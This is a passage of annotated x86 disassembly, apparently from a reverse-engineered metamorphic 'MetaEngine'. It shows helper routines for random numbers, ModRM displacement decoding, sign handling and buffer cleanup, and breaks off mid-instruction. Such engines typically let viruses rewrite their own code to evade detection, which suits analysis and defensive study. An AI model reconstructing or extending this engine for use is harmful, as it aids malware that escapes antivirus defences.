                mov     ecx, esi                  ; ecx = pointer to code

ReturnZero:                                       ; CODE XREF: MetaEngine+546j
                xor     eax, eax                  ; eax = 0

FreeMemory:                                       ; CODE XREF: MetaEngine+559j
                push    eax                       ; save return value
                mov     eax, [ebp+RelocStart]     ; eax = start of disassembly buffer
                push    eax
                call    callVirtualFree           ; free memory
                pop     eax                       ; restore return value
                pop     edi
                pop     esi                       ; restore registers
                pop     ebx
                add     esp, 8
                pop     ebp
                nop
                retn    0Ch
MetaEngine      endp


; _______________ S U B R O U T I N E _______________________________________

; returns random eax (0 to 7)

Rnd7            proc near                         ; CODE XREF: MetaEngine+77p
                                                  ; MetaEngine:Mutate?p ...
                call    Random
                and     eax, 111b
                cmp     eax, 0
                retn
Rnd7            endp

; ___________________________________________________________________________
; START OF FUNCTION CHUNK FOR MetaEngine

StoreDisplacementPlus2:                           ; CODE XREF: MetaEngine+22Bj
                                                  ; MetaEngine+27Aj ...
                call    CheckDisplacement         ; returns cl: 0, 1 or 4
                add     cl, 2                     ; 2 more bytes

StoreBytes:                                       ; CODE XREF: MetaEngine+18Ej
                                                  ; MetaEngine+1AEj ...
                and     ecx, 0FFh                 ; and the cl bits
                rep movsb                         ; write until cl = 0
                jmp     LoadInstruction
; END OF FUNCTION CHUNK FOR MetaEngine

; _______________ S U B R O U T I N E _______________________________________

; returns cl: 0, 1 or 4

CheckDisplacement proc near                       ; CODE XREF: MetaEngine+2CCp
                                                  ; MetaEngine+503p ...
                xor     ecx, ecx                  ; ecx = 0
                mov     cl, [esi+1]               ; cl = ModRM
                and     cl, 11000000b
                cmp     cl, 0                     ; [mod] == 00?
                jz      short ret_CheckDisplacement
                cmp     cl, 11000000b             ; [mod] == 11?
                jnz     short isMod01
                mov     cl, 0                     ; no displacement
                jmp     short ret_CheckDisplacement
; ___________________________________________________________________________

isMod01:                                          ; CODE XREF: CheckDisplacement+10j
                cmp     cl, 1000000b              ; [mod] == 01?
                jnz     short Mod10
                mov     cl, 1                     ; 1 byte displacement
                jmp     short ret_CheckDisplacement
; ___________________________________________________________________________

Mod10:                                            ; CODE XREF: CheckDisplacement+19j
                mov     cl, 4                     ; 4 bytes displacement

ret_CheckDisplacement:                            ; CODE XREF: CheckDisplacement+Bj
                                                  ; CheckDisplacement+14j ...
                retn
CheckDisplacement endp


; _______________ S U B R O U T I N E _______________________________________


InvertSign      proc near                         ; CODE XREF: MetaEngine+126p
                                                  ; MetaEngine+3CBp ...
                push    ecx
                xor     ecx, ecx                  ; ecx = 0
                cmp     al, 0
                jns     short DontInvert
                sub     ecx, 1

DontInvert:                                       ; CODE XREF: InvertSign+5j
                mov     cl, al
                mov     eax, ecx                  ; return value in eax
                pop     ecx
                retn
InvertSign      endp


; _______________ S U B R O U T I N E _______________________________________

; returns a random dword in EAX
; Attributes: bp-based frame

GetRandomDword  proc near                         ; CODE XREF: MetaEngine+B5p
                                                  ; MetaEngine+DAp ...
                push    ebp
                mov     ebp, esp
                push    ecx
                push    edx
                call